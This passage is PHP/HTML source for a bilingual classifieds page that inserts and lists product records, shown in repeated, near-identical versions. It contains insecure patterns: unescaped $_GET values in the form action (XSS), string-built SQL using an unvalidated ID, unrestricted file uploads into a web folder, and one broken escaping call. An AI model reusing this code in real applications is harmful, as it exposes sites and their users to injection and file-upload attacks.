href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css__"> <style> body { <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"lang=ar dir=rtl"; else echo"lang=en dir=ltr"; ?> background-color: #f8f9fa; font-family: Arial, sans-serif; } .container { max-width: 1200px; margin: 20px auto; padding: 20px; background-color: #ffffff; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); border-radius: 8px; } .form-control { display: block; width: 100%; height: calc(1.5em + .75rem + 2px); padding: .375rem .75rem; margin-top: 3px; font-size: 1rem; font-weight: 400; line-height: 1.5; color: #495057; background-color: #fff; background-clip: padding-box; border: 1px solid #ced4da; border-radius: .25rem; transition: border-color .15s ease-in-out, box-shadow .15s ease-in-out; } .btn { display: inline-block; font-weight: 400; color: #212529; text-align: center; vertical-align: middle; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background-color: transparent; border: 1px solid transparent; padding: .375rem .75rem; font-size: 1rem; line-height: 1.5; border-radius: .25rem; transition: color .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out; } .btn-primary { color: #fff; background-color: #007bff; border-color: #007bff; } h1 { margin-bottom: 20px; } form { margin-bottom: 30px; } .form-group { margin-bottom: 15px; } .form-control, .form-check-input { border-radius: 4px; } .custom-file-input { display: none; } .custom-file-upload { border: 2px solid #007bff; border-radius: 8px; display: inline-block; padding: 12px 24px; cursor: pointer; background: linear-gradient(135deg, #007bff 0%, #00d2ff 100%); color: #ffffff; text-align: center; font-weight: bold; font-size: 16px; transition: all 0.3s ease; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); position: relative; } .custom-file-upload:hover { background: linear-gradient(135deg, #00d2ff 0%, #007bff 100%); color: #f0f0f0; transform: scale(1.05); } .custom-file-upload:before { content: '???? '; position: absolute; <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"right: 0px;"; else echo"left: 0px;"; ?> top: 40%; transform: translateY(-50%); font-size: 18px; } .custom-file-input { display: none; } .image-preview { display: flex; flex-wrap: wrap; margin-top: 10px; } .image-preview img { max-width: 100px; margin-right: 5px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } .image-preview { display: flex; flex-wrap: wrap; margin-top: 10px; border: 2px dashed #007bff; border-radius: 8px; padding: 10px; background-color: #f8f9fa; min-height: 120px; position: relative; overflow: auto; } .image-preview .placeholder { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); color: #007bff; font-size: 18px; font-weight: bold; text-align: center; pointer-events: none; } .image-preview img { max-width: 100px; margin: 5px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } table { width: 100%; border-collapse: collapse; } table th, table td { border: 1px solid #dee2e6; padding: 12px; text-align: left; } table th { background-color: #007bff; color: #ffffff; } table td { background-color: #ffffff; } .attributes-list { white-space: pre-wrap; /* Preserve whitespace for line breaks */ } .details-list { list-style-type: none; padding: 0; margin: 0; } .details-list li:nth-child(even) { background-color: #f9f9f9; } .details-list li { padding: 10px; border-bottom: 1px solid #eee; } .details-container { background-color: #fff; border: 1px solid #ddd; padding: 20px; margin-bottom: 20px; font-family: Arial, sans-serif; width: 100%; margin: 0 auto; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); } ._vkey{ <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"margin-left: 40px;"; else echo"margin-right: 40px;"; ?> } /* Container for the form elements */ .form-dropdown-group { display: flex; /* Use flexbox to align children side by side */ align-items: center; /* Center items vertically */ width: 100%; /* Ensure the container takes up the full width */ gap: 10px; /* Space between the label and dropdown */ margin-bottom: 15px; /* Space below each form group */ } /* Style for the label */ .form-label { flex: 1; /* Allows the label to take up proportional space */ font-weight: bold; /* Bold text for labels */ white-space: nowrap; /* Prevents text from wrapping */ min-width: 120px; /* Ensures label has a minimum width */ <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"text-align: left;"; else echo"text-align: right;"; ?> /* Aligns text to the right to align with the dropdown */ padding: 10px; /* Padding inside the label */ background-color: #d4af37; /* Royal gold background color */ color: #fff; /* White text color for contrast */ border-radius: 5px; /* Rounded corners for the label */ box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); /* Bumped shadow effect */ border: 1px solid #b8860b; /* Slightly darker gold border for depth */ } </style> </head> <body> <div class="container"> <h1>Insert New Record</h1> <form method="post" action="?accessCat=<?php echo $_GET['accessCat']; ?>&brand=<?php echo $_GET['brand']; ?>&year=<?php echo $_GET['year']; ?>" enctype="multipart/form-data" <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"style=\"direction: rtl;\""; else echo"style=\"direction: ltr;\""; ?> > <!--div class="form-group"> <label for="category">Category:</label> <input type="text" id="category" name="accessCat" class="form-control" required> </div --> <div class="form-group"> <label for="images" class="custom-file-upload"> <span><?php echo $_SESSION["imageUpload"]; ?></span> </label> <input type="file" id="images" name="images[]" class="custom-file-input" accept="image/*" multiple> <div class="image-preview" id="image-preview"> <div class="placeholder"><?php echo $_SESSION["imagesselected"]; ?></div> </div> </div> <div class="form-group"> <label for="title">Title:</label> <input type="text" id="title" name="title" class="form-control" required> </div> <?php if($_GET["accessCat"]=="cars")include_once"_carsSpecificities.php"; ?> <?php //include_once"_vpcategoriesForms.php"; // Function to generate form fields function generateFormFields($fields) { $formHtml = ''; foreach ($fields as $field => $label) { if (is_array($label)) { // Check if the field has subvalues $formHtml .= '<div class="form-dropdown-group">'; $formHtml .= ' <label for="' . htmlspecialchars($field) . '" class="form-label">' . htmlspecialchars($label['type']) . ':</label>'; $formHtml .= ' <select id="' . htmlspecialchars($field) . '" name="' . htmlspecialchars($field) . '" class="form-control">'; foreach ($label as $subValue => $subLabel) { if ($subValue !== 'type') { // Skip the 'type' key $formHtml .= '<option value="' . htmlspecialchars($subValue) . '">' . htmlspecialchars($subLabel) . '</option>'; } } $formHtml .= ' </select>'; $formHtml .= '</div>'; $formHtml .= '<br><br>'; } else if ($field != "icon"){ //$formHtml .= '<label for="' . htmlspecialchars($field) . '">' . htmlspecialchars($label) . ':</label>'; $formHtml .= '<input type="text" id="' . htmlspecialchars($field) . '" class="form-control" name="' . htmlspecialchars($field) . '" placeholder="' . htmlspecialchars($label) . '"><br><br>'; }else if ($field == "icon"){ // to avoid displaying the icon as an input $formHtml .= '<img src="'.htmlspecialchars($label).'" alt="'.htmlspecialchars($label).'" /><br><br>'; } } return $formHtml; } ?> <?php if ($accessCat): ?> <?php // Split the selected category into category and subcategory list($category, $subcategory) = explode('/', $accessCat); // Check if the selected category and subcategory exist if (isset($categories[$category][$subcategory])) { $fields = $categories[$category][$subcategory]; ?> <h2><?= htmlspecialchars($subcategory) ?></h2> <div method="post" class="_carContainer image-preview"> <?= generateFormFields($fields) ?> <!-- input type="submit" value="إرسال" --> </div> <?php } else { echo '<p class="error-message">الفئة أو التصنيف المحدد غير موجود.</p>'; } ?> <?php endif; ?> <div class="form-group"> <label for="berid">Berid:</label> <input type="text" id="berid" name="berid" class="form-control" required> </div> <div class="form-group"> <label for="hetef">Hetef:</label> <input type="text" id="hetef" name="hetef" class="form-control" required> </div> <div class="form-group"> <label for="country">Country:</label> <input type="text" id="country" name="country" class="form-control" required> </div> <div class="form-group"> <label for="location_city">City:</label> <input type="text" id="location_city" name="location_city" class="form-control" required> </div> <div class="form-group"> <label for="price">Price:</label> <input type="text" id="price" name="price" class="form-control" required> </div> <div class="form-group"> <label for="el3omla">Currency:</label> <input type="text" id="el3omla" name="el3omla" class="form-control" required> </div> <div class="form-group"> <label for="description">Description:</label> <textarea id="description" name="description" class="form-control" rows="4" required></textarea> </div> <div class="form-group"> <label for="quantity">Quantity:</label> <input type="text" id="quantity" name="quantity" class="form-control" required> </div> <div class="form-group"> <label for="yearModel">Year:</label> <input type="text" id="yearModel" name="yearModel" class="form-control" required> </div> <!-- div class="form-group"> <label for="views">Views:</label> <input type="text" id="views" name="views" class="form-control" required> </div --> <!-- div class="form-group"> <label for="attributes">Attributes (JSON):</label> <textarea id="attributes" name="attributes" class="form-control" rows="4" required></textarea> </div --> <div class="form-group form-check"> <input type="checkbox" id="delivery_available" name="delivery_available" class="form-check-input" value="1"> <label for="delivery_available" class="form-check-label"><?php echo $_SESSION['property19']; ?>Delivery Available</label> </div> <div class="form-group form-check"> <input type="checkbox" id="negotiable_price" name="negotiable_price" class="form-check-input" value="1"> <label for="negotiable_price" class="form-check-label"><?php echo $_SESSION['property16']; ?>Negotiable Price</label> </div> <div class="form-group"> <label for="status">Status:</label> <input type="text" id="status" name="status" class="form-control" required> </div> <div class="form-group"> <label for="collector">Collector:</label> <input type="text" id="collector" name="collector" class="form-control" required> </div> <input type="hidden" name="form_html" value="<?php echo htmlspecialchars($formHtml); ?>"> <button type="submit" class="btn btn-primary"><?php echo $_SESSION['goNUploadNsell']; ?></button> </form> <h2>Existing Records</h2> <table class="table"> <thead> <tr> <th>ID</th> <th>Images</th> <th>Category</th> <th>Attributes / Delivery Available / Negotiable Price</th> <th>Status</th> <th>Collector</th> </tr> </thead> <tbody> <?php while ($row = $result->fetch_assoc()): ?> <tr> <td><?php echo htmlspecialchars($row['idBathae3i']); ?></td> <td style="max-width:300px;"> <?php $images = explode(',', $row['images']); foreach ($images as $image): ?> <img src="<?php echo htmlspecialchars($image); ?>" alt="Image" style="max-width: 100px; margin-right: 5px;"> <?php endforeach; ?> </td> <td><?php echo htmlspecialchars($row['category']); ?></td> <td><?php /*echo htmlspecialchars($row['attributes']);*/ ?> <?php // Start session if not already started if (session_status() === PHP_SESSION_NONE) { session_start(); } // Decode the JSON-encoded attributes field $attributes = json_decode($row['attributes'], true); ?> <div> <?php $formHtml = $attributes['form_html']; $formData = $attributes['data']; ?> <div class="details-container"> <div class="data-display details-list"> <?php foreach ($formData as $key => $value): ?> <?php // Find the translation for the current key $translation = ''; //foreach ($_SESSION['translations']['category']['vehicles']['cars'] as $category) { foreach ($_SESSION['translations'] as $category) { if (isset($category[$key])) { $translation = $category[$key]; break; }else if (isset($category['vehicles'][$key])) { $translation = $category[$key]; break; } } ?> <li><strong><font color=brown class=_vkey><?php echo htmlspecialchars($translation ?: $key, ENT_QUOTES, 'UTF-8'); ?>:</font></strong> <?php echo htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); ?></li> <?php endforeach; ?> </div> </div> </div> <br /><?php echo $_SESSION['property19']; ?>: <?php echo $row['delivery_available'] ? $_SESSION['yes'] : $_SESSION['no'] ; ?><br /><?php echo $_SESSION['property16']; ?>: <?php echo $row['negotiable_price'] ? $_SESSION['yes'] : $_SESSION['no']; ?></td> <td><?php echo htmlspecialchars($row['status']); ?></td> <td><?php echo htmlspecialchars($row['collector']); ?></td> </tr> <?php endwhile; ?> </tbody> </table> </div> <script> document.querySelector('#images').addEventListener('change', function() { const preview = document.querySelector('#image-preview'); preview.innerHTML = ''; for (const file of this.files) { const reader = new FileReader(); reader.onload = function(e) { const img = document.createElement('img'); img.src = e.target.result; img.alt = 'Image Preview'; preview.appendChild(img); }; reader.readAsDataURL(file); } }); </script> </body> </html>

<?php include_once "settings.php"; // Ensure this file sets up $connessione (database connection) //include 'ar.php'; if(isset($_GET["accessCat"])) $_SESSION["ad"]=$_GET["accessCat"]; //for the cntrol to dsply ads && (HIDE) not to display the cars brands logos $bId = htmlspecialchars($_GET['bId'] ?? $_GET['bId']); // Check if the 'accessCat' GET parameter is set $accessCat = isset($_GET['accessCat']) ? $_GET['accessCat'] : ''; // Define available categories and their fields $categories = $_SESSION['translations']['category']; // Process form submission if ($_SERVER['REQUEST_METHOD'] === 'POST') { $category = $connessione->real_escape_string($_POST['accessCat'] ?? $_GET['accessCat']); $title = $connessione->real_escape_string($_POST['title'] ?? ''); $berid = $connessione->real_escape_string($_POST['berid'] ?? ''); $hetef = $connessione->real_escape_string($_POST['hetef'] ?? ''); $country = $connessione->real_escape_string($_POST['country'] ?? ''); $location_city = $connessione->real_escape_string($_POST['location_city'] ?? ''); $price = $connessione->real_escape_string($_POST['price'] ?? ''); $el3omla = $connessione->real_escape_string($_POST['el3omla'] ?? ''); $description = $connessione->htmlspecialchars(real_escape_string($_POST['description'] ?? '')); $quantity = $connessione->real_escape_string($_POST['quantity'] ?? ''); $yearModel = $connessione->real_escape_string($_POST['yearModel'] ?? $_GET['year']); $views = intval($_POST['views'] ?? 0); //$attributes = $connessione->real_escape_string($_POST['attributes'] ?? ''); // Collect prod attributes data with default values $attributes__ = [ 'brand' => $_GET['brand'] ?? '', 'year' => $yearModel ?? '', 'regional_specifications' => $_POST['property3'] ?? '', 'odometer' => $_POST['property4'] ?? '', 'cylinders' => $_POST['property5'] ?? '', 'transmission' => $_POST['property6'] ?? '', 'keys' => $_POST['property7'] ?? '', 'full_options' => $_POST['property8'] ?? '', 'fuel' => $_POST['property9'] ?? '', 'wheel_drive' => $_POST['property10'] ?? '', 'exterior_color' => $_POST['property11'] ?? '', 'interior_color' => $_POST['property12'] ?? '', 'maintenance_report' => $_POST['property13'] ?? '', 'car_status' => $_POST['property17'] ?? '' ]; // Initialize an array to hold form data $formData = []; $formHtml = isset($_POST['form_html']) ? $_POST['form_html'] : ''; // Collect and sanitize form data, excluding specific keys foreach ($_POST as $key => $value) { // Exclude specific fields from being added to formData if ($key !== 'form_html' && !in_array($key, ['berid', 'hetef', 'country', 'location_city', 'price', 'el3omla', 'description', 'quantity', 'yearModel', 'delivery_available', 'negotiable_price', 'status', 'collector'])) { $formData[$key] = htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); } } // Build the JSON object for the attributes field $attributes = [ 'form_html' => $formHtml, 'data' => $formData ]; // Convert the attributes array to a JSON string $attributesJson = json_encode($attributes); // Sanitize the JSON string for safe insertion $attributes = $connessione->real_escape_string($attributesJson); //$attributes = $connessione->real_escape_string(json_encode($attributes)); $delivery_available = isset($_POST['delivery_available']) ? 1 : 0; $negotiable_price = isset($_POST['negotiable_price']) ? 1 : 0; $status = $connessione->real_escape_string($_POST['status'] ?? ''); $collector = $connessione->real_escape_string($_POST['collector'] ?? ''); // Handle file uploads $images = []; if (isset($_FILES['images']) && !empty($_FILES['images']['name'][0])) { $uploadDir = 'uploads/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } foreach ($_FILES['images']['tmp_name'] as $key => $tmp_name) { $fileName = basename($_FILES['images']['name'][$key]); $uploadFile = $uploadDir . $fileName; if (move_uploaded_file($tmp_name, $uploadFile)) { $images[] = $uploadFile; } } } $imagesList = implode(',', $images); try { $sql = mysqli_query($connessione, "INSERT INTO `bathae3i` ( `idBathae3i`, `images`, `category`, `title`, `berid`, `hetef`, `country`, `location_city`, `price`, `el3omla`, `description`, `quantity`, `chronoBathae3`, `views`, `attributes`, `delivery_available`, `negotiable_price`, `status`, `collector` ) VALUES ( NULL, '$imagesList', '$category', '$title', '$berid', '$hetef', '$country', '$location_city', '$price', '$el3omla', '$description', '$quantity', '".time()."', $views, '$attributes', $delivery_available, $negotiable_price, '$status', '$collector' )"); if (!$sql) { die('Error: ' . htmlspecialchars($connessione->error)); } } catch(Exception $e) { echo "Exception: " . $e->getMessage(); } } // Retrieve records from the database $sql = "SELECT * FROM `bathae3i` WHERE idBathae3i = '" . $bId . "'"; $result = $connessione->query($sql); ?> <!DOCTYPE html> <html <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"lang=ar dir=rtl"; else echo"lang=en dir=ltr"; ?>> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Bathae3i Management</title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css__"> <style> body { <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"lang=ar dir=rtl"; else echo"lang=en dir=ltr"; ?> background-color: #f8f9fa; font-family: Arial, sans-serif; } .container { max-width: 1200px; margin: 20px auto; padding: 20px; background-color: #ffffff; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); border-radius: 8px; } .form-control { display: block; width: 100%; height: calc(1.5em + .75rem + 2px); padding: .375rem .75rem; margin-top: 3px; font-size: 1rem; font-weight: 400; line-height: 1.5; color: #495057; background-color: #fff; background-clip: padding-box; border: 1px solid #ced4da; border-radius: .25rem; transition: border-color .15s ease-in-out, box-shadow .15s ease-in-out; } .btn { display: inline-block; font-weight: 400; color: #212529; text-align: center; vertical-align: middle; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background-color: transparent; border: 1px solid transparent; padding: .375rem .75rem; font-size: 1rem; line-height: 1.5; border-radius: .25rem; transition: color .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out; } .btn-primary { color: #fff; background-color: #007bff; border-color: #007bff; } h1 { margin-bottom: 20px; } form { margin-bottom: 30px; } .form-group { margin-bottom: 15px; } .form-control, .form-check-input { border-radius: 4px; } .custom-file-input { display: none; } .custom-file-upload { border: 2px solid #007bff; border-radius: 8px; display: inline-block; padding: 12px 24px; cursor: pointer; background: linear-gradient(135deg, #007bff 0%, #00d2ff 100%); color: #ffffff; text-align: center; font-weight: bold; font-size: 16px; transition: all 0.3s ease; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); position: relative; } .custom-file-upload:hover { background: linear-gradient(135deg, #00d2ff 0%, #007bff 100%); color: #f0f0f0; transform: scale(1.05); } .custom-file-upload:before { content: '???? '; position: absolute; <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"right: 0px;"; else echo"left: 0px;"; ?> top: 40%; transform: translateY(-50%); font-size: 18px; } .custom-file-input { display: none; } .image-preview { display: flex; flex-wrap: wrap; margin-top: 10px; } .image-preview img { max-width: 100px; margin-right: 5px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } .image-preview { display: flex; flex-wrap: wrap; margin-top: 10px; border: 2px dashed #007bff; border-radius: 8px; padding: 10px; background-color: #f8f9fa; min-height: 120px; position: relative; overflow: auto; } .image-preview .placeholder { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); color: #007bff; font-size: 18px; font-weight: bold; text-align: center; pointer-events: none; } .image-preview img { max-width: 100px; margin: 5px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } table { width: 100%; border-collapse: collapse; } table th, table td { border: 1px solid #dee2e6; padding: 12px; text-align: left; } table th { background-color: #007bff; color: #ffffff; } table td { background-color: #ffffff; } .attributes-list { white-space: pre-wrap; /* Preserve whitespace for line breaks */ } .details-list { list-style-type: none; padding: 0; margin: 0; } .details-list li:nth-child(even) { background-color: #f9f9f9; } .details-list li { padding: 10px; border-bottom: 1px solid #eee; } .details-container { background-color: #fff; border: 1px solid #ddd; padding: 20px; margin-bottom: 20px; font-family: Arial, sans-serif; width: 100%; margin: 0 auto; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); } ._vkey{ <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"margin-left: 40px;"; else echo"margin-right: 40px;"; ?> } </style> </head> <body> <div class="container"> <h1>Insert New Record</h1> <form method="post" action="?accessCat=<?php echo $_GET['accessCat']; ?>&brand=<?php echo $_GET['brand']; ?>&year=<?php echo $_GET['year']; ?>" enctype="multipart/form-data"> <!--div class="form-group"> <label for="category">Category:</label> <input type="text" id="category" name="accessCat" class="form-control" required> </div --> <div class="form-group"> <label for="images" class="custom-file-upload"> <span><?php echo $_SESSION["imageUpload"]; ?></span> </label> <input type="file" id="images" name="images[]" class="custom-file-input" accept="image/*" multiple> <div class="image-preview" id="image-preview"> <div class="placeholder"><?php echo $_SESSION["imagesselected"]; ?></div> </div> </div> <div class="form-group"> <label for="title">Title:</label> <input type="text" id="title" name="title" class="form-control" required> </div> <?php if($_GET["accessCat"]=="cars")include_once"_carsSpecificities.php"; ?> <?php //include_once"_vpcategoriesForms.php"; // Function to generate form fields function generateFormFields($fields) { $formHtml = ''; foreach ($fields as $field => $label) { if (is_array($label)) { // Check if the field has subvalues $formHtml .= '<label for="' . htmlspecialchars($field) . '">' . htmlspecialchars($label['type']) . ':</label>'; $formHtml .= '<select id="' . htmlspecialchars($field) . '" name="' . htmlspecialchars($field) . '" class="form-control">'; foreach ($label as $subValue => $subLabel) { if ($subValue !== 'type') { // Skip the 'type' key $formHtml .= '<option value="' . htmlspecialchars($subValue) . '">' . htmlspecialchars($subLabel) . '</option>'; } } $formHtml .= '</select><br><br>'; } else { $formHtml .= '<label for="' . htmlspecialchars($field) . '">' . htmlspecialchars($label) . ':</label>'; $formHtml .= '<input type="text" id="' . htmlspecialchars($field) . '" class="form-control" name="' . htmlspecialchars($field) . '" placeholder="' . htmlspecialchars($label) . '"><br><br>'; } } return $formHtml; } ?> <?php if ($accessCat): ?> <?php // Split the selected category into category and subcategory list($category, $subcategory) = explode('/', $accessCat); // Check if the selected category and subcategory exist if (isset($categories[$category][$subcategory])) { $fields = $categories[$category][$subcategory]; ?> <h2><?= htmlspecialchars($subcategory) ?></h2> <div method="post" class="_carContainer image-preview"> <?= generateFormFields($fields) ?> <!-- input type="submit" value="إرسال" --> </div> <?php } else { echo '<p class="error-message">الفئة أو التصنيف المحدد غير موجود.</p>'; } ?> <?php endif; ?> <div class="form-group"> <label for="berid">Berid:</label> <input type="text" id="berid" name="berid" class="form-control" required> </div> <div class="form-group"> <label for="hetef">Hetef:</label> <input type="text" id="hetef" name="hetef" class="form-control" required> </div> <div class="form-group"> <label for="country">Country:</label> <input type="text" id="country" name="country" class="form-control" required> </div> <div class="form-group"> <label for="location_city">City:</label> <input type="text" id="location_city" name="location_city" class="form-control" required> </div> <div class="form-group"> <label for="price">Price:</label> <input type="text" id="price" name="price" class="form-control" required> </div> <div class="form-group"> <label for="el3omla">Currency:</label> <input type="text" id="el3omla" name="el3omla" class="form-control" required> </div> <div class="form-group"> <label for="description">Description:</label> <textarea id="description" name="description" class="form-control" rows="4" required></textarea> </div> <div class="form-group"> <label for="quantity">Quantity:</label> <input type="text" id="quantity" name="quantity" class="form-control" required> </div> <div class="form-group"> <label for="yearModel">Year:</label> <input type="text" id="yearModel" name="yearModel" class="form-control" required> </div> <!-- div class="form-group"> <label for="views">Views:</label> <input type="text" id="views" name="views" class="form-control" required> </div --> <!-- div class="form-group"> <label for="attributes">Attributes (JSON):</label> <textarea id="attributes" name="attributes" class="form-control" rows="4" required></textarea> </div --> <div class="form-group form-check"> <input type="checkbox" id="delivery_available" name="delivery_available" class="form-check-input" value="1"> <label for="delivery_available" class="form-check-label"><?php echo $_SESSION['property19']; ?>Delivery Available</label> </div> <div class="form-group form-check"> <input type="checkbox" id="negotiable_price" name="negotiable_price" class="form-check-input" value="1"> <label for="negotiable_price" class="form-check-label"><?php echo $_SESSION['property16']; ?>Negotiable Price</label> </div> <div class="form-group"> <label for="status">Status:</label> <input type="text" id="status" name="status" class="form-control" required> </div> <div class="form-group"> <label for="collector">Collector:</label> <input type="text" id="collector" name="collector" class="form-control" required> </div> <input type="hidden" name="form_html" value="<?php echo htmlspecialchars($formHtml); ?>"> <button type="submit" class="btn btn-primary"><?php echo $_SESSION['goNUploadNsell']; ?></button> </form> <h2>Existing Records</h2> <table class="table"> <thead> <tr> <th>ID</th> <th>Images</th> <th>Category</th> <th>Attributes / Delivery Available / Negotiable Price</th> <th>Status</th> <th>Collector</th> </tr> </thead> <tbody> <?php while ($row = $result->fetch_assoc()): ?> <tr> <td><?php echo htmlspecialchars($row['idBathae3i']); ?></td> <td style="max-width:300px;"> <?php $images = explode(',', $row['images']); foreach ($images as $image): ?> <img src="<?php echo htmlspecialchars($image); ?>" alt="Image" style="max-width: 100px; margin-right: 5px;"> <?php endforeach; ?> </td> <td><?php echo htmlspecialchars($row['category']); ?></td> <td><?php /*echo htmlspecialchars($row['attributes']);*/ ?> <?php // Start session if not already started if (session_status() === PHP_SESSION_NONE) { session_start(); } // Decode the JSON-encoded attributes field $attributes = json_decode($row['attributes'], true); ?> <div> <?php $formHtml = $attributes['form_html']; $formData = $attributes['data']; ?> <div class="details-container"> <div class="data-display details-list"> <?php foreach ($formData as $key => $value): ?> <?php // Find the translation for the current key $translation = ''; //foreach ($_SESSION['translations']['category']['vehicles']['cars'] as $category) { foreach ($_SESSION['translations'] as $category) { if (isset($category[$key])) { $translation = $category[$key]; break; }else if (isset($category['vehicles'][$key])) { $translation = $category[$key]; break; } } ?> <li><strong><font color=brown class=_vkey><?php echo htmlspecialchars($translation ?: $key, ENT_QUOTES, 'UTF-8'); ?>:</font></strong> <?php echo htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); ?></li> <?php endforeach; ?> </div> </div> </div> <br /><?php echo $_SESSION['property19']; ?>: <?php echo $row['delivery_available'] ? $_SESSION['yes'] : $_SESSION['no'] ; ?><br /><?php echo $_SESSION['property16']; ?>: <?php echo $row['negotiable_price'] ? $_SESSION['yes'] : $_SESSION['no']; ?></td> <td><?php echo htmlspecialchars($row['status']); ?></td> <td><?php echo htmlspecialchars($row['collector']); ?></td> </tr> <?php endwhile; ?> </tbody> </table> </div> <script> document.querySelector('#images').addEventListener('change', function() { const preview = document.querySelector('#image-preview'); preview.innerHTML = ''; for (const file of this.files) { const reader = new FileReader(); reader.onload = function(e) { const img = document.createElement('img'); img.src = e.target.result; img.alt = 'Image Preview'; preview.appendChild(img); }; reader.readAsDataURL(file); } }); </script> </body> </html>

<?php include_once "settings.php"; // Ensure this file sets up $connessione (database connection) //include 'ar.php'; if(isset($_GET["accessCat"])) $_SESSION["ad"]=$_GET["accessCat"]; //for the cntrol to dsply ads && (HIDE) not to display the cars brands logos $bId = htmlspecialchars($_GET['bId'] ?? $_GET['bId']); // Check if the 'accessCat' GET parameter is set $accessCat = isset($_GET['accessCat']) ? $_GET['accessCat'] : ''; // Define available categories and their fields $categories = $_SESSION['translations']['category']; // Process form submission if ($_SERVER['REQUEST_METHOD'] === 'POST') { $category = $connessione->real_escape_string($_POST['accessCat'] ?? $_GET['accessCat']); $title = $connessione->real_escape_string($_POST['title'] ?? ''); $berid = $connessione->real_escape_string($_POST['berid'] ?? ''); $hetef = $connessione->real_escape_string($_POST['hetef'] ?? ''); $country = $connessione->real_escape_string($_POST['country'] ?? ''); $location_city = $connessione->real_escape_string($_POST['location_city'] ?? ''); $price = $connessione->real_escape_string($_POST['price'] ?? ''); $el3omla = $connessione->real_escape_string($_POST['el3omla'] ?? ''); $description = $connessione->real_escape_string($_POST['description'] ?? ''); $quantity = $connessione->real_escape_string($_POST['quantity'] ?? ''); $yearModel = $connessione->real_escape_string($_POST['yearModel'] ?? $_GET['year']); $views = intval($_POST['views'] ?? 0); //$attributes = $connessione->real_escape_string($_POST['attributes'] ?? ''); // Collect prod attributes data with default values $attributes__ = [ 'brand' => $_GET['brand'] ?? '', 'year' => $yearModel ?? '', 'regional_specifications' => $_POST['property3'] ?? '', 'odometer' => $_POST['property4'] ?? '', 'cylinders' => $_POST['property5'] ?? '', 'transmission' => $_POST['property6'] ?? '', 'keys' => $_POST['property7'] ?? '', 'full_options' => $_POST['property8'] ?? '', 'fuel' => $_POST['property9'] ?? '', 'wheel_drive' => $_POST['property10'] ?? '', 'exterior_color' => $_POST['property11'] ?? '', 'interior_color' => $_POST['property12'] ?? '', 'maintenance_report' => $_POST['property13'] ?? '', 'car_status' => $_POST['property17'] ?? '' ]; // Initialize an array to hold form data $formData = []; $formHtml = isset($_POST['form_html']) ? $_POST['form_html'] : ''; // Collect and sanitize form data, excluding specific keys foreach ($_POST as $key => $value) { // Exclude specific fields from being added to formData if ($key !== 'form_html' && !in_array($key, ['berid', 'hetef', 'country', 'location_city', 'price', 'el3omla', 'description', 'quantity', 'yearModel', 'delivery_available', 'negotiable_price', 'status', 'collector'])) { $formData[$key] = htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); } } // Build the JSON object for the attributes field $attributes = [ 'form_html' => $formHtml, 'data' => $formData ]; // Convert the attributes array to a JSON string $attributesJson = json_encode($attributes); // Sanitize the JSON string for safe insertion $attributes = $connessione->real_escape_string($attributesJson); //$attributes = $connessione->real_escape_string(json_encode($attributes)); $delivery_available = isset($_POST['delivery_available']) ? 1 : 0; $negotiable_price = isset($_POST['negotiable_price']) ? 1 : 0; $status = $connessione->real_escape_string($_POST['status'] ?? ''); $collector = $connessione->real_escape_string($_POST['collector'] ?? ''); // Handle file uploads $images = []; if (isset($_FILES['images']) && !empty($_FILES['images']['name'][0])) { $uploadDir = 'uploads/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } foreach ($_FILES['images']['tmp_name'] as $key => $tmp_name) { $fileName = basename($_FILES['images']['name'][$key]); $uploadFile = $uploadDir . $fileName; if (move_uploaded_file($tmp_name, $uploadFile)) { $images[] = $uploadFile; } } } $imagesList = implode(',', $images); try { $sql = mysqli_query($connessione, "INSERT INTO `bathae3i` ( `idBathae3i`, `images`, `category`, `title`, `berid`, `hetef`, `country`, `location_city`, `price`, `el3omla`, `description`, `quantity`, `chronoBathae3`, `views`, `attributes`, `delivery_available`, `negotiable_price`, `status`, `collector` ) VALUES ( NULL, '$imagesList', '$category', '$title', '$berid', '$hetef', '$country', '$location_city', '$price', '$el3omla', '$description', '$quantity', '".time()."', $views, '$attributes', $delivery_available, $negotiable_price, '$status', '$collector' )"); if (!$sql) { die('Error: ' . htmlspecialchars($connessione->error)); } } catch(Exception $e) { echo "Exception: " . $e->getMessage(); } } // Retrieve records from the database $sql = "SELECT * FROM `bathae3i` WHERE idBathae3i = '" . $bId . "'"; $result = $connessione->query($sql); ?> <!DOCTYPE html> <html <?php if(!isset($_SESSION['lang']) 